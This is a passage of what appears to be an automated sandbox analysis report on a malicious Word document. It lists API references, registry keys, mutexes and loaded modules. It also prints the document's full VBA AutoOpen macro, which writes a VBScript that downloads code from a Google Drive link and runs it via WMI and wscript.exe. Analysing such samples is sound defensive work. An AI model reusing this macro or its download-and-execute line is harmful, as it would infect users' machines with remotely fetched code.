reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found reference to API (Indicator: "MoveFile"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp, 00000000-00005060.00000000.129433.F7920000.00000002.mdmp") Found reference to API (Indicator: "CopyFile"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "PostThreadMessageA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "StringFromCLSID"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetMessageA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "IsTextUnicode"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CoGetClassObject"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongPtrA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongPtrA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "EnumThreadWindows"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetClassInfoA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00005060.00000000.129433.F7915000.00000002.mdmp")2f:T40d,Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp, 00000000-00005060.00000000.129433.F7915000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp")30:T56d,File "ThisDocument.cls" (Streampath: "VBA/ThisDocument") has code: "" File "NewMacros.bas" (Streampath: "VBA/NewMacros") has code: "Sub Weed(ns, p) Application.ActiveWindow.View.Type = wdPrintView Set wnd = ActiveDocument wnd.Unprotect p With wnd.Range.InlineShapes(1) .Delete End With End Sub Sub ResContent(pth, cnt) Documents.Add With ActiveDocument .Range.Text = cnt .SaveAs2 FileName:=pth, FileFormat:=wdFormatText .Close End With End Sub Sub Present() On Error Resume Next For Mode = 10 To 0 Step -1 ActiveWindow.View.SeekView = Mode With Selection .WholeStory .Font.Hidden = False .Collapse End With Next End Sub Sub AutoOpen() On Error Resume Next sn = "utf" Set wm = GetObject("winmgmts:win32_process") pw = "utf8utf8" Weed sn, pw Present Set wnd = ActiveDocument wnd.Save cnt = "On Error Resume Next:Set mx = CreateObject(""MSXML2.ServerXMLHTTP""):mx.open ""GET"" ""https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t"" False:mx.Send:Execute(mx.responseText)" pth = "C:\Users\" & Application.UserName & "\AppData\Roaming\Microsoft\Templates\version.ini" ResContent pth, cnt wm.Create "wscript.exe //e:vbscript //b " & pth End Sub"31:T493,Normalized macro string: "http):mx.open" Normalized macro string: "CreateObject(MSXML2.ServerXMLHTTP):mx.open" Normalized macro string: "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t," Normalized macro string: "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t," Normalized macro string: "Application.ActiveWindow.View.Type" Normalized macro string: "wnd.Unprotect" Normalized macro string: "wnd.Range.InlineShapes" Normalized macro string: "Documents.Add" Normalized macro string: "Range.Text" Normalized macro string: "ActiveWindow.View.SeekView" Normalized macro string: "Font.Hidden" Normalized macro string: "wnd.Save" Normalized macro string: "MSXML2.ServerXMLHTTP" Normalized macro string: "mx.open" Normalized macro string: "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t" Normalized macro string: "mx.Send" Normalized macro string: "mx.responseText" Normalized macro string: "Application.UserName" Normalized macro string: "version.ini" Normalized macro string: "wm.Create" Normalized macro string: "wscript.exe"32:Ta9c,"SOFTWARE\Policies\Microsoft" in Source: 00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp "HKLM\" in Source: 00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005060.00000000.129433.5B040000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005060.00000000.129433.5B040000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{B722BCCB-4E68-101B-A2BC-00AA00404770}" in Source: 00000000-00005060.00000000.129433.5B040000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{A2E9ACC7-3E98-4585-A71E-AE2A7897AF88}" in Source: 00000000-00005060.00000000.129433.5B040000.00000004.mdmp "574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{2" in Source: 00000000-00005060.00000000.129433.5B040000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\" in Source: 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" in Source: 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00005060.00000000.129433.F7915000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005060.00000000.129433.F7915000.00000002.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00005060.00000000.129433.F7915000.00000002.mdmp33:T45c,"\Sessions\1\BaseNamedObjects\x64_10MU_ACBPIDS_S-1-5-5-0-280002" "\Sessions\1\BaseNamedObjects\x64_10MU_ACB10_S-1-5-5-0-280002" "\BaseNamedObjects\552FFA80-3393-423d-8671-7BA046BB5906" "\Sessions\1\BaseNamedObjects\SM0:5544:120:WilError_01" "\Sessions\1\BaseNamedObjects\Local\SM0:5544:304:WilStaging_02" "\Sessions\1\BaseNamedObjects\Local\SM0:5544:120:WilError_01" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\BaseNamedObjects\MTX_MSO_Formal1_S-1-5-21-735145574-3570218355-1207367261-1001" "\BaseNamedObjects\MTX_MSO_AdHoc1_S-1-5-21-735145574-3570218355-1207367261-1001" "\BaseNamedObjects\MsoShellExtRegAccess_S-1-5-21-735145574-3570218355-1207367261-1001" "SM0:5544:120:WilError_01" "Local\ZonesLockedCacheCounterMutex" "x64_10MU_ACB10_S-1-5-5-0-280002" "Local\SM0:5544:120:WilError_01" "Local\ZonesCacheCounterMutex" "Local\SM0:5544:304:WilStaging_02" "x64_10MU_ACBPIDS_S-1-5-5-0-280002" "\Sessions\1\BaseNamedObjects\SM0:5060:304:WilStaging_02" "\Sessions\1\BaseNamedObjects\Local\SM0:5060:304:WilStaging_02"34:T2ef0,"WINWORD.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff931360000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff931360000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff931360000 "WINWORD.EXE" loaded module "KERNEL32" at base 7ff931fc0000 "WINWORD.EXE" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff910900000 "WINWORD.EXE" loaded module "IMM32.DLL" at base 7ff932890000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 7ff918490000 "WINWORD.EXE" loaded module "WWLIB.DLL" at base 7ff901920000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSO.DLL" at base 7ff90dfd0000 "WINWORD.EXE" loaded module "MSO.DLL" at base 7ff90dfd0000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 7ff920270000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base 7ff931fc0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 5170000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base 5000000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff92eff0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 5750000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base 59c0000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base 7ff92f370000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff932690000 "WINWORD.EXE" loaded module "SRPAPI.DLL" at base 7ff912810000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff931fc0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base 7ff8ff890000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base 7ff92eff0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base 7ff8ff6c0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 7ff91ee40000 "WINWORD.EXE" loaded module "ADVAPI32.DLL" at base 7ff932690000 "WINWORD.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff91e7f0000 "WINWORD.EXE" loaded module "SHLWAPI.DLL" at base 7ff931bc0000 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff930920000 "WINWORD.EXE" loaded module "VERSION.DLL" at base 7ff9279e0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 67440000 "WINWORD.EXE" loaded module "RPCRT4.DLL" at base 7ff9342f0000 "WINWORD.EXE" loaded module "WINSPOOL.DRV" at base 7ff92b190000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 7ff92d810000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 7ff929e70000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff931940000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9279e0000 "WINWORD.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff929810000 "WINWORD.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff91bf70000 "WINWORD.EXE" loaded module "USERENV.DLL" at base 7ff9307b0000 "WINWORD.EXE" loaded module "SHELL32.DLL" at base 7ff932e90000 "WINWORD.EXE" loaded module "POWRPROF.DLL" at base 7ff9308b0000 "WINWORD.EXE" loaded module "NTDLL.DLL" at base 7ff934560000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff92cc90000 "WINWORD.EXE" loaded module "OLEAUT32.DLL" at base 7ff932900000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ff91f480000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base a980000 "WINWORD.EXE" loaded module "USER32.DLL" at base 7ff931a30000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\ONBTTNWD.DLL" at base 7ff91bfa0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff9252d0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff931360000 "WINWORD.EXE" loaded module "SSPICLI.DLL" at base 7ff9307e0000 "WINWORD.EXE" loaded module "MSISO.DLL" at base 7ff91ef20000 "WINWORD.EXE" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff91bec0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT532.CNV" at base 7ff91e210000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 7ff91d740000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT632.CNV" at base 7ff91e200000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\RECOVR32.CNV" at base 7ff929800000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 7ff91e220000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WKS9PXY.CNV" at base 7ff9297f0000 "WINWORD.EXE" loaded module "GDI32.DLL" at base 7ff9328d0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\USP10.DLL" at base 66f10000 "WINWORD.EXE" loaded module "GDIPLUS.DLL" at base 7ff91ca40000 "WINWORD.EXE" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_46B9C4E9EDF1CFA5\GDIPLUS.DLL" at base 7ff91ca40000 "WINWORD.EXE" loaded module "WINDOWSCODECS.DLL" at base 7ff92c990000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 7ff91a3f0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff930960000 "WINWORD.EXE" loaded module "CSCAPI.DLL" at base 7ff923570000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL" at base 66b80000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\1033\VBE7INTL.DLL" at base fe80000 "WINWORD.EXE" loaded module "VBE7.DLL" at base 66b80000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff931360000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ff91e200000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff925c10000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff925570000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff9255a0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff931360000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff931360000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff9246f0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff92fd50000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 7ff92f370000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ff931a30000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ff931a30000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ff932380000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ff932740000 